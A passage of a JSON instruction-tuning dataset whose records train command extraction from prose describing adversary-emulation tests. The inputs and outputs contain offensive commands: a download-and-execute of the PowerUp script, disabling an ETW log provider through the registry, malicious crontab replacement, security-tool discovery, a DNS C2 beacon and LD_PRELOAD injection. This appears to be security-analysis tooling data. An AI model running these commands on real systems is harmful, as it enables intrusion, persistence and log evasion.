- Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For capturing packets on specific ports, execute this command: pktmon.exe filter add -p 445",
    "output": "{\"command_list\": [\"pktmon.exe filter add -p 445\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate an attacker disabling a specific ETW provider from the EventLog-Application session, use the following command to modify the Windows registry: reg add \"HKLM\\System\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application\\#{ETWProviderGUID}\" /v \"Enabled\" /t REG_DWORD /d \"0\" /f. This change will prevent the provider from emitting logs, but requires a restart to take effect.",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\EventLog-Application\\\\#{ETWProviderGUID}\\\" /v \\\"Enabled\\\" /t REG_DWORD /d \\\"0\\\" /f\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To replace the current user's crontab file with malicious contents, a common technique in IoT exploitation, use the following command:\ncrontab -l > /tmp/notevil\necho \"* * * * * #{command}\" > #{tmp_cron} && crontab #{tmp_cron}\n",
    "output": "{\"command_list\": [\"crontab -l > /tmp/notevil\\necho \\\"* * * * * #{command}\\\" > #{tmp_cron} && crontab #{tmp_cron}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify security software on an endpoint, which will display running processes, firewall configurations, and specific security software details, use the following command: \nnetsh.exe advfirewall  show allprofiles \nnetsh.exe advfirewall firewall dump\nnetsh.exe advfirewall show currentprofile\nnetsh.exe advfirewall firewall show rule name=all\nnetsh.exe firewall show state\nnetsh.exe firewall show config\nsc query windefend\npowershell.exe /c \"Get-Process | Where-Object { $_.ProcessName -eq 'Sysmon' }\"\npowershell.exe /c \"Get-Service | where-object {$_.DisplayName -like '*sysm*'}\"\npowershell.exe /c \"Get-CimInstance Win32_Service -Filter 'Description = ''System Monitor service'''\"\ntasklist.exe\ntasklist.exe | findstr /i virus\ntasklist.exe | findstr /i cb\ntasklist.exe | findstr /i defender\ntasklist.exe | findstr /i cylance\ntasklist.exe | findstr /i mc\ntasklist.exe | findstr /i \"virus cb defender cylance mc\"\n",
    "output": "{\"command_list\": [\"netsh.exe advfirewall  show allprofiles \\nnetsh.exe advfirewall firewall dump\\nnetsh.exe advfirewall show currentprofile\\nnetsh.exe advfirewall firewall show rule name=all\\nnetsh.exe firewall show state\\nnetsh.exe firewall show config\\nsc query windefend\\npowershell.exe /c \\\"Get-Process | Where-Object { $_.ProcessName -eq 'Sysmon' }\\\"\\npowershell.exe /c \\\"Get-Service | where-object {$_.DisplayName -like '*sysm*'}\\\"\\npowershell.exe /c \\\"Get-CimInstance Win32_Service -Filter 'Description = ''System Monitor service'''\\\"\\ntasklist.exe\\ntasklist.exe | findstr /i virus\\ntasklist.exe | findstr /i cb\\ntasklist.exe | findstr /i defender\\ntasklist.exe | findstr /i cylance\\ntasklist.exe | findstr /i mc\\ntasklist.exe | findstr /i \\\"virus cb defender cylance mc\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test mimics DNS beaconing behavior typical of idle implants, which can be executed with the command: Set-Location \"PathToAtomicsFolder\"\n.\\T1071.004\\src\\T1071-dns-beacon.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}",
    "output": "{\"command_list\": [\"Set-Location \\\"PathToAtomicsFolder\\\"\\n.\\\\T1071.004\\\\src\\\\T1071-dns-beacon.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute a shared object library injection via LD_PRELOAD, a technique employed by threat actor Rocke, use the following command: LD_PRELOAD=#{path_to_shared_library} ls",
    "output": "{\"command_list\": [\"LD_PRELOAD=#{path_to_shared_library} ls\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To download a remote file, you can use the whois utility with the following command: timeout --preserve-status #{timeout} whois -h #{remote_host} -p #{remote_port} \"#{query}\" > #{output_file}\n",
    "output": "{\"command_list\": [\"timeout --preserve-status #{timeout} whois -h #{remote_host} -p #{remote_port} \\\"#{query}\\\" > #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": 